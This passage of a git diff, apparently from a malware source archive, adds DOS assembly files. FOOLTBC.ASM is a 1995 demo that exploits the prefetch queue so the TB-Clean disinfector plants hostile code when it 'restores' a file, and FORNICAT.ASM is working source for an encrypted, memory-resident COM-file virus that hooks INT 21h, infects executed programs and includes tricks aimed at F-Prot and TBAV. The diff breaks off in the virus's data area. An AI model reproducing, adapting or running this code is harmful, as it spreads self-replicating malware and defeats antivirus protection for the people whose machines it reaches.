7Ch, 21h, 6Ch,0EEh + db 0Fh,0C2h, 8Dh, 01h, 7Ch, 38h + db 10h, 10h, 10h, 38h, 7Ch, 3Eh + db 0ABh, 01h, 0Eh, 10h, 0Dh,0D4h + db 9Fh, 24h, 6Ch, 07h, 1Fh,0FEh + db 0A4h, 43h,0FEh, 10h, 01h, 18h + db 3Ch, 9Ch, 26h, 01h, 18h, 0Bh + db 0FFh, 01h,0E7h, 65h, 3Bh,0C3h + db 01h,0E7h, 0Ah,0FFh,0D5h, 7Dh + db 1Fh, 66h, 01h, 21h,0AAh,0BBh + db 1Fh, 99h, 01h, 21h, 80h, 74h + db 12h, 1Eh + db 0Eh, 1Eh, 36h, 78h,0CCh, 01h + db 78h, 9Eh,0B8h + db 42h, 2Dh, 7Eh + db 18h, 18h, 91h, 70h +loc_36: + push dx + push ds + sbb bl,ds:data_30e + js loc_36 ; Jump if sign=1 + jo loc_41 ; Jump if overflow=1 + push ax + adc byte ptr ds:[236h],bh + db 36h, 76h,0F6h, 66h, 4Eh, 12h + db 37h, 0Ch, 7Dh,0DBh, 7Eh, 33h + db 3Ch, 7Eh, 37h, 00h,0DBh, 30h + db 00h, 80h,0E0h,0F0h,0FCh,0FEh + db 0FCh,0F0h,0E0h + db 37h +data_22 db 80h + db 80h, 10h, 02h, 0Eh, 3Eh, 7Eh + db 0FEh, 7Eh, 3Eh, 0Eh, 02h, 77h + db 0D6h,0ADh, 5Ch, 61h,0EBh,0CCh + db 0B2h, 66h, 01h, 08h, 93h, 24h + db 10h, 7Fh,0DBh, 01h, 7Bh, 1Bh + db 2Fh, 00h, 01h, 30h,0C6h,0C6h + db 60h, 7Ch,0F6h +loc_40: + xchg ax,sp + xchg bl,dh + jl $+0Eh ; Jump if < + or [si+0],bh + push si +loc_41: + sbb word ptr [bp+233h],0FA50h +;* jg loc_46 ;*Jump if > + db 7Fh, 4Fh + jle $+5 ; Jump if < or = + db 60h,0C0h,0FFh, 09h, 0Dh, 70h + db 01h, 0Ch, 0Eh,0FFh, 1Ah, 40h + db 0Eh, 0Ch, 01h,0A3h, 30h, 70h + db 0FEh, 70h, 30h, 83h,0D2h, 02h + db 0B4h,0C0h, 01h,0FEh, 41h,0C3h + db 01h, 0Fh, 24h, 66h,0FFh, 66h + db 24h, 02h, 90h + db 42h + db 2Fh, 83h, 00h, 8Bh, 0Eh, 1Ah + db 0FAh, 7Ch, 38h, 01h,0B1h, 04h + db 01h, 40h,0D5h, 9Dh, 7Ch, 7Dh + db 2Dh, 75h, 90h, 36h, 01h, 14h + db 02h + db 20h, 65h, 7Bh, 6Ch + db 01h,0FEh, 03h, 6Ch, 0Bh,0EAh + db 0B0h,0F2h +loc_46: + db 0C0h, 78h, 3Ch, 06h,0EEh, 05h + db 38h,0C2h, 00h, 62h, 66h, 0Ch + db 18h, 30h, 66h,0C6h, 81h, 80h + db 0Dh, 38h, 6Ch, 38h, 30h, 76h + db 7Eh,0B0h, 76h,0B3h + db 0F4h,0CCh, 01h, 18h, 03h, 70h + db 0DCh,0EEh, 2Bh, 01h, 18h,0E2h + db 0DCh, 7Ah, 09h, 01h, 18h + db 00h,0E2h,0A1h, 0Fh, 42h,0FEh + db 38h, 6Ch, 02h,0A3h + db 0F4h,0AEh,0EFh, 05h,0B7h, 04h + db 58h,0FEh,0BFh, 48h, 09h,0D8h + db 1Fh, 01h, 03h, 06h + db 5Dh, 2Eh + db 08h, 60h,0C0h,0F0h, 7Eh, 92h + db 0Fh, 7Dh,0DBh,0DBh, 05h, 3Ch + db 0F8h, 90h, 78h, 82h,0B0h,0DDh + db 0D0h, 30h,0C6h, 45h,0D5h, 54h + db 10h, 06h, 06h + db 0EEh, 01h, 03h, 28h,0DEh, 0Ch + db 1Ch, 3Ch, 6Ch,0DDh,0E5h, 86h + db 0FEh, 7Fh, 1Eh, 7Bh,0C2h,0C0h + db 0C0h,0FCh, 1Eh,0A8h, 01h, 20h + db 1Eh, 10h,0FAh, 68h, 44h, 0Eh + db 0FEh,0CFh, 9Fh, 4Fh, 01h, 60h + db 0C6h, 7Ch,0BEh,0F5h, 01h, 20h + db 0Ch, 7Eh, 00h + db 40h, 7Dh + db 0F6h,0DCh, 04h, 04h, 10h, 77h + db 0FBh,0F0h,0CDh, 60h, 70h, 36h + db 40h,0FFh, 01h,0CCh,0FDh, 01h + db 1Bh,0C2h,0D3h,0B0h, 60h, 0Ch + db 18h, 00h,0E0h, 15h +data_23 dw 705Eh ; Data table (indexed access) + db 0DEh, 01h,0DCh,0C0h, 7Eh, 31h + db 08h, 22h, 38h, 38h, 6Ch,0FFh + db 0E2h, 67h, 66h,0C0h, 01h, 8Ah + db 0Dh, 20h,0FCh,0B2h, 33h, 32h + db 3Ch, 32h, 33h, 05h,0FCh,0B0h + db 43h, 08h, 60h, 33h, 61h,0F2h + db 08h, 6Fh,0C4h, 6Ch,0DFh,0F8h + db 6Ch, 98h, 3Ch, 36h, 33h, 01h + db 0F3h, 76h, 3Ch, 20h, 29h, 9Dh + db 7Ch,0DAh, 7Eh, 04h, 33h, 40h + db 07h, 83h, 21h,0FFh,0B0h, 32h + db 7Eh, 70h, 00h,0EFh, 00h, 1Ch + db 36h, 63h, 70h, 09h,0C1h,0C0h + db 0CCh,0CCh,0DCh,0BFh, 00h, 50h + db 98h, 0Eh,0E6h, 66h, 6Fh,0FEh + db 04h, 66h, 6Eh,0E0h, 70h, 60h + db 0Eh, 1Bh, 1Fh,0FCh,0D8h, 7Fh + db 4Eh,0C1h, 0Ah,0BEh,0FFh, 1Bh + db 20h, 36h, 13h + db 0CCh, 4Ch, 7Ch, 72h, 03h, 00h + db 0CEh,0C3h,0C3h,0C6h,0CCh,0D8h + db 0F0h,0F8h,0CCh,0C6h,0C0h, 80h + db 83h,0C5h, 3Eh, 6Fh, 37h,0FCh + db 09h,0E0h, 62h,0C0h,0E3h, 63h + db 73h, 7Fh, 5Bh, 43h, 43h,0C3h + db 80h, 92h,0E0h, 07h, 30h, 63h + db 0B0h, 15h, 11h, 67h, 63h, 61h + db 0E0h, 31h, 1Eh, 0Ah,0E3h,0F3h + db 80h,0C3h, 44h, 5Fh, 20h, 02h + db 0C9h,0ACh,0F3h,0B3h, 33h, 3Bh + db 36h, 42h, 3Ch,0F0h, 0Dh,0C0h + db 21h,0E3h,0C1h,0C1h,0D1h,0DBh + db 0DFh,0CEh, 7Eh, 07h, 03h, 80h + db 02h, 1Fh,0E6h + db 'Pf|xnwIg@' + db 11h,0EEh, 3Eh + db 0B0h, 95h, 70h, 1Ch, 06h, 66h + db 3Eh, 6Eh,0FFh, 99h, 0Ch, 7Fh + db 51h, 01h, 5Eh, 03h, 25h, 17h + db 7Bh, 01h,0C7h,0EEh, 58h,0F0h + db 0C0h, 01h, 13h, 1Eh + db 36h, 08h + db 1Bh,0D0h + db 18h, 99h, 01h,0BDh,0E7h,0B3h + db 54h, 42h, 0Eh, 29h, 42h,0FBh + db 50h,0A9h,0CEh, 7Eh, 06h + db 42h, 0Ch, 29h + db 0F9h, 10h, 81h + dw 2412h ; Data table (indexed access) + db 3Ch, 14h, 02h + db 11h, 03h, 0Fh, 3Bh,0E3h,0CAh + db 0C9h,0BEh, 33h, 25h,0F8h,0D1h + db 7Ch, 60h,0FDh,0D0h, 01h, 20h + db 80h, 02h, 2Eh,0FDh, 06h, 03h + db 01h,0BCh, 27h,0D0h, 8Dh, 20h + db 10h,0E8h, 61h, 38h, 6Ch,0C6h + db 00h, 0Eh, 01h,0A9h,0C3h, 50h + db 67h, 0Ch, 08h, 19h, 78h,0D8h + db 0D8h,0DCh, 21h, 0Ch,0B0h, 00h + db 0E0h,0C0h,0C7h, 5Eh, 7Eh,0F3h + db 33h, 33h, 53h,0C1h, 8Fh, 02h + db 4Ch,0F0h, 00h, 00h, 07h, 6Ch + db 7Eh,0CFh,0CCh,0CCh, 7Fh, 03h + db 4Ch, 3Eh, 3Ch, 67h,0C3h,0F3h + db 0DEh,0C0h, 6Eh, 3Ch, 0Ch, 06h + db 0A0h, 08h, 1Ch, 5Ch, 30h, 34h + db 0FCh,0B0h, 09h, 78h, 00h,0D0h + db 7Bh,0CEh,0C6h,0CEh, 76h,0B8h + db 0B8h,0E2h, 1Ch, 3Dh, 72h, 61h + db 03h,0A8h,0F0h, 0Eh, 01h, 61h + db 36h, 82h, 39h, 04h, 02h, 00h + db 03h, 03h,0C6h,0CCh, 8Fh, 8Fh + db 00h, 69h, 0Ah, 30h, 18h, 01h + db 12h, 66h,0FFh,0EBh,0E9h, 84h + db 63h, 01h, 40h, 0Eh, 40h, 60h + db 7Ch,0E6h, 65h, 5Eh,0B3h, 60h + db 0C0h, 83h, 1Eh, 67h, 01h,0CEh + db 2Ch, 5Ah, 40h, 03h,0B3h, 5Ch + db 54h, 03h,0A5h, 04h,0E0h,0C1h + db 0CEh,0CDh,0CCh,0CDh,0CEh, 7Ch + db 0D2h, 86h, 9Fh, 41h, 62h, 60h + db 60h,0F8h,0DFh, 76h, 63h, 00h + db 2Fh, 71h, 6Ch, 3Ch, 3Fh, 3Eh + db 9Ah, 0Ch,0F0h,0B0h, 01h,0D0h +loc_63: + db 6Ah,0BCh, 03h, 43h, 01h, 00h + db 0A8h, 99h, 02h, 36h, 01h,0D0h + db 18h +loc_64: + db 0C6h, 2Dh, 00h, 00h, 01h,0C3h + db 1Ch, 3Fh,0C1h, 3Ch, 66h,0C3h + db 10h, 80h, 08h,0B9h,0C1h, 63h + db 36h, 1Ch,0B1h +loc_65: + add word ptr ds:[0C1h],bp + or [bx+si-28h],bh + xor [si],ah + jl loc_64 ; Jump if < + dec cx + push bx + xor dl,ch + jo loc_65 ; Jump if overflow=1 + push cs + add word ptr [bp+0],0 + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bx+si],ax + cmp [di+1Ch],bx + and al,18h + add word ptr [bp+7600h],7DCh + esc 6,al ; coprocessor escape + mov al,12h + retn 8857h + into ; Int 4 on overflow + db 66h,0CFh,0C6h, 64h, 81h, 82h + db 0Ch,0CCh, 5Fh,0C6h,0C6h, 4Ch + db 1Eh, 03h, 01h,0CEh, 76h, 1Dh + db 0CAh + db 5Eh, 23h + db 0FEh,0C0h,0A5h, 80h, 90h, 30h + db 78h,0CCh, 00h, 78h, 0Ch, 7Ch + db 90h, 8Bh,0C1h, 7Ah,0B0h, 20h + db 0CCh, 04h, 10h, 8Ch, 87h,0F5h + db 03h, 10h + db 0FFh, 04h, 30h,0C3h,0C2h, 12h + db 2Dh,0CEh, 2Eh, 0Ch, 43h, 50h + db 3Eh, 7Bh, 02h, 60h, 50h, 03h + db 70h,0B0h, 47h, 9Fh, 03h, 20h + db 0B0h, 5Dh, 78h, 38h,0EFh, 3Ch + db 0DEh, 67h,0AFh, 04h, 10h, 80h + db 0CFh, 90h, 02h, 10h,0CFh, 02h + db 0CAh,0B7h, 40h,0D2h, 8Fh, 4Fh + db 21h, 02h, 10h,0DFh,0FEh, 21h + db 1Fh, 4Ch, 50h, 01h,0B7h,0E0h + db 66h,0DBh, 1Bh, 7Fh,0D8h,0D8h + db 0DFh,0B0h, 7Eh, 2Ah,0E9h, 0Bh + db 01h,0FEh, 04h,0DEh,0C3h,0B2h + db 00h,0A3h, 37h,0FBh, 90h, 48h + db 02h, 10h,0DDh,0B3h,0B0h, 00h + db 10h, 30h, 61h,0F6h, 02h, 50h + db 0A0h, 02h, 10h, 0Bh, 9Fh, 6Fh + db 0FCh,0F7h, 10h, 4Fh, 40h, 83h + db 7Fh, 8Fh, 70h, 05h, 5Fh, 70h + db 0C0h,0A8h, 92h, 6Eh,0CDh,0BAh + db 0F0h,0F8h,0E2h,0BEh, 66h,0F6h + db 6Ch, 9Fh, 48h,0EEh, 0Fh, 3Ch + db 20h, 70h, 88h, 7Bh,0FCh,0C0h + db 0CCh,0DEh, 70h, 28h, 80h, 07h + db 0Eh, 56h, 48h, 1Bh, 18h, 3Fh + db 01h, 2Eh, 34h,0D8h, 70h, 01h + db 02h + db 0CCh, 86h,0A0h, 10h, 02h, 40h + db 8Bh,0FFh, 00h, 80h,0F0h, 91h + db 48h, 3Eh, 04h, 7Eh,0D0h, 2Dh + db 0F1h, 60h,0BCh, 5Fh,0E6h, 16h + db 1Ch, 0Fh, 2Bh,0E6h,0F6h,0DEh + db 0CEh, 00h, 34h, 60h, 00h, 3Ch + db 6Ch, 6Ch, 3Eh, 00h, 7Eh, 00h + db 06h,0D1h, 7Ch, 7Ah, 38h, 00h + db 7Ch,0E2h, 90h, 02h,0CDh,0E0h + db 08h, 2Dh, 5Fh, 02h, 55h,0B6h + db 2Eh, 31h,0D2h, 03h, 1Ch,0E1h + db 95h, 51h, 72h, 48h,0CEh, 60h + db 62h, 66h, 6Ch, 85h,0CAh, 0Fh + db 0DCh, 36h, 9Ah, 3Eh, 10h, 36h + db 6Eh,0DEh,0CEh, 25h, 36h, 7Eh + db 23h, 5Ah, 1Eh, 0Eh, 3Ch, 00h + db 62h, 11h, 7Ah,0C4h, 6Ch,0D8h + db 6Ch, 36h, 01h, 4Eh, 72h,0D2h + db 0Eh, 6Ch,0D8h, 0Bh, 11h, 44h + db 0E9h, 74h, 04h, 02h,0AAh, 55h + db 04h, 02h,0DDh, 77h, 04h, 02h + db 5Dh, 7Fh, 18h + db 0Dh, 01h,0F8h, 05h, 0Eh,0DDh + db 0EEh, 10h, 36h, 01h,0F6h, 08h + db 2Fh,0F4h,0A2h, 03h, 10h,0CEh + db 0DBh, 06h, 30h,0F6h, 06h, 30h + db 0EFh, 5Eh, 06h, 01h, 3Eh, 05h + db 20h, 0Fh,0DFh + db 30h + db 0BDh, 12h,0F7h, 6Fh, 10h, 90h + db 05h,0AAh,0EBh, 03h,0F8h, 05h + db 0C0h + db 1Fh, 03h,0A5h, 79h, 30h, 01h + db 0FFh, 06h, 2Ah, 6Fh,0A6h, 06h + db 30h, 05h + db 74h +loc_72: + push word ptr [bx+0Dh] + push es + inc ax + add ax,1F2Eh + add ax,3A3Ah + adc [bx],dh + add ax,ax + aaa ; Ascii adjust + xor [bx],bh + add bp,[bp+3Fh] + popf ; Pop flags + pop si + xor [si],al + and bh,dh + add [si],al + nop + mov dx,0E06h + test word ptr [di],3740h + add sp,[bx+si] + db 0FFh,0FBh,0FFh, 30h, 40h,0BEh + db 0BDh, 30h,0DEh, 04h, 20h,0BAh + db 0DEh, 01h, 06h, 60h,0FFh, 06h + db 0E0h,0A0h,0FBh, 05h, 88h, 3Fh + db 03h,0F0h, 1Fh, 70h, 6Ah, 40h + db 01h, 1Fh, 07h,0D0h, 75h, 20h + db 3Fh, 05h, 40h,0FFh, 04h, 90h + db 0Dh + db 0Dh, 18h, 06h, 60h, 06h,0AFh + db 0DEh,0B0h, 50h,0FFh, 05h, 01h + db 0C2h,0A9h, 00h,0CAh, 01h +loc_75: + lock jmp short loc_75 + add ax,0F01h + add ax,601h + cmp ds:data_56e[bx+si],dl + int 10h ; ??INT Non-standard interrupt + jcxz $+2 ; Jump if cx=0 + mov al,byte ptr ds:[0CC78h] + esc 0,[bp+si+3615h] ; coprocessor escape + out 0DCh,al ; port 0DCh, DMA-2 clr mask reg + db 0C0h, 70h,0C5h, 62h,0FEh, 66h + db 62h, 71h, 96h,0EDh, 00h, 5Fh + db 6Ch, 01h, 27h, 8Bh,0D0h, 62h + db 80h, 96h, 9Fh, 30h, 62h,0C6h + db 00h, 09h,0E5h, 73h, 7Eh,0D8h + db 20h,0D8h, 70h,0B3h,0E9h, 50h + db 01h, 7Ch, 2Bh,0B3h, 71h, 71h + db 81h, 61h, 01h, 1Ch,0FEh, 38h + db 0EAh,0BDh, 90h, 6Ch, 06h, 40h + db 0ECh, 89h, 9Fh, 33h,0CBh, 61h + db 0Fh, 0Eh, 01h,0EEh,0D5h, 8Ah + db 0D0h, 89h, 3Ch, 66h, 7Ch,0BAh + db 12h, 00h, 19h,0EDh, 70h, 82h + db 53h, 40h, 63h, 02h, 06h, 7Ch + db 0CEh,0DEh,0F6h,0F6h, 3Eh,0D9h + db 70h, 71h, 30h, 32h, 5Ah,0E0h + db 30h, 1Ch, 01h,0D9h,0ADh, 60h + db 01h, 01h, 6Ah,0F5h, 2Dh,0FEh + db 02h, 33h,0AAh,0BEh, 5Fh, 7Eh + db 6Ah, 55h, 90h, 06h, 8Dh,0ADh + db 0ACh, 7Eh, 00h, 6Fh,0F2h,0A3h + db 6Dh, 72h, 0Ch, 1Eh, 1Ah, 29h + db 5Ah, 09h, 12h, 58h, 78h, 30h + db 00h,0A5h,0D5h, 7Ah, 7Eh, 00h + db 03h,0B1h,0B0h, 2Fh, 25h,0D0h + db 5Bh, 97h, 78h,0CCh, 01h,0CAh + db 07h,0FDh, 1Bh,0ADh, 11h, 05h + db 0E1h,0D4h, 0Ah,0D8h,0D8h, 78h + db 38h, 14h,0D8h,0B0h,0A2h, 01h + db 8Ch, 00h,0D8h, 6Ch,0B4h,0A1h + db 04h, 3Fh, 7Eh,0F5h, 36h, 01h + db 00h, 1Ch, 01h,0FCh,0B4h,0A1h + db 00h,0FCh, 00h, 0Dh, 6Dh,0FCh + db 00h,0FCh, 68h, 43h, 00h,0FCh + db 00h, 1Bh,0DAh,0FCh, 00h,0FCh + db 0D0h, 86h, 00h,0FCh, 00h, 36h + db 0B4h,0FCh, 00h,0FCh,0A1h, 0Dh + db 00h,0FCh, 6Dh, 68h, 00h,0FCh + db 00h,0FCh, 43h, 1Bh, 00h,0FCh + db 0DAh,0D0h, 00h,0FCh, 00h, 86h + db 06h, 8Ah, 00h,0FFh, 00h + +seg_a ends + + + + end diff --git a/f/FOOLTBC.ASM b/f/FOOLTBC.ASM new file mode 100755 index 0000000..fbb388b --- /dev/null +++ b/f/FOOLTBC.ASM @@ -0,0 +1,88 @@ +; +; How to fool TB-Clean using the prefetch queue. +; +; Conzouler / Immortal Riot 1995. +; +; (Ideas from 40Hex magazine issue 7) +; +; Debuggers like TB-Clean reads one instruction a time from +; memory while the processor will read 16 and put them in a +; prefetch queue. Therefore, if you change code that already +; is is in the prefetch the change won't affect the program +; when run normally, but if the program is run with TB-Clean +; it will run the changed code. +; Any branch (jumps, calls, ints and rets) will flush the +; prefetch and 16 bytes will be read from the new position. +; So, you can change the location of a jump to make some +; code run if a debugger is used but another when executed +; normally. Get it? +; The fun part with TB-Clean is that you can use this tech- +; nique to simulate a program restoration but instead you +; put some mean code instead of the original program. +; +; You can also just do an int20 when tbscan is executed and +; make TB-Clean say: "File might not be infected at all or +; is damaged by an overwriting virus". Which is exactly what +; TB-Clean would say if the file wasn't infected in the first +; place. +; +; Try to compile this code and run it, then use TB-Clean on it +; and rerun the "cleaned" file. +; + +.model tiny +.code + org 100h + +start: + jmp entry + +; Carrier file... +carrier db 1+offset nodebug-offset debug dup(90h) + +; Your code... +entry: + call delta ; Get delta offset. +delta: pop si ; TbScan will detect this + ; but this is about fooling + ; TbClean. + + mov byte ptr ds:[$+6], 0 ; This changes the jump. + jmp short nodebug ; If this is a near jump + ; you'll have to make above + ; a word ptr and add 7 instead. + +; Here is the code that simulates a restoration. + mov di, 100h ; Offset to entry point. + push di ; Save to perform a ret later + + add si, offset debug - offset delta + ; Relative offset to routine + ; to put at entry point. + + mov cx, offset nodebug - offset debug + ; Size of routine. + + rep movsb ; Move the code. + ret ; Jump to entry point. + +debug: +; Here is the routine TBClean will put in the restored program. + mov ah, 9 ; Display string. + mov dx, 100h + offset tbsux - offset debug + int 21h + ret ; Instead of int20 +tbsux db 'TB-Clean stinks!!!',7,'$' + + +nodebug: +; Here is your normal code. + mov ah, 9h ; Display string + add si, offset msg - offset delta + mov dx, si + int 21h + int 20h + +msg db 'Hi dudez.. tbclean cannot disinfect diz...$' + +end start diff --git a/f/FORNICAT.ASM b/f/FORNICAT.ASM new file mode 100755 index 0000000..850016b --- /dev/null +++ b/f/FORNICAT.ASM @@ -0,0 +1,490 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +xor word ptr [di],0fbfbh +add byte ptr [di],087h +add word ptr [di],0c574h +add byte ptr [di],0b8h +sub word ptr [di],04d33h +sub byte ptr [di],0b2h +sub word ptr [di],0279h +sub word ptr [di],01bc5h +sub word ptr [di],01a8ah +add word ptr [di],0d649h +add byte ptr [di],0b4h +xor byte ptr [di],0cch +sub byte ptr [di],089h +inc word ptr [di] +xor byte ptr [di],098h +not word ptr [di] +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db 'FORNICAT by [NRLG]' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +not word ptr [di] +xor byte ptr [di],098h +dec word ptr [di] +add byte ptr [di],089h +xor byte ptr [di],0cch +sub byte ptr [di],0b4h +sub word ptr [di],0d649h +add word ptr [di],01a8ah +add word ptr [di],01bc5h +add word ptr [di],0279h +add byte ptr [di],0b2h +add word ptr [di],04d33h +sub byte ptr [di],0b8h +sub word ptr [di],0c574h +sub byte ptr [di],087h +xor word ptr [di],0fbfbh +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw 